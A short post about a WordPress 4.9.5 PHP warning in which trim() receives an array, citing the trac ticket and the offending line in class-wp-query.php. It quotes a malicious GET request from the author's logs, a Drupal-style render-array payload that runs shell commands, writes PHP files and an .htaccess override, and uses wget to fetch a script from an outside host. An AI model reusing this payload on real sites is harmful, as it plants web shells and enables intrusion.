WordPress 4.9.5 PHP intermittent warning trim() expects parameter 1 to be string, array given

I ran into this today. It’s a bug. I filed a bug report here:

https://core.trac.wordpress.org/ticket/46797

The problem is this line of code:

$qv['name'] = trim( $qv['name'] );

Source: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764

A (malicious) user sends a request that looks like:

GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo ‘Vuln!! patch it Now!’ > vuln.htm; echo ‘Vuln!!’> sites/default/files/vuln.php; echo ‘Vuln!!’> vuln.php; cd sites/default/files/; echo ‘AddType application/x-httpd-php .jpg’ > .htaccess; wget ‘http://40k.waszmann.de/Deutsch/images/up.php

Such a request makes $qv[‘name’] an array, not a string.

Needs to be sanitized.

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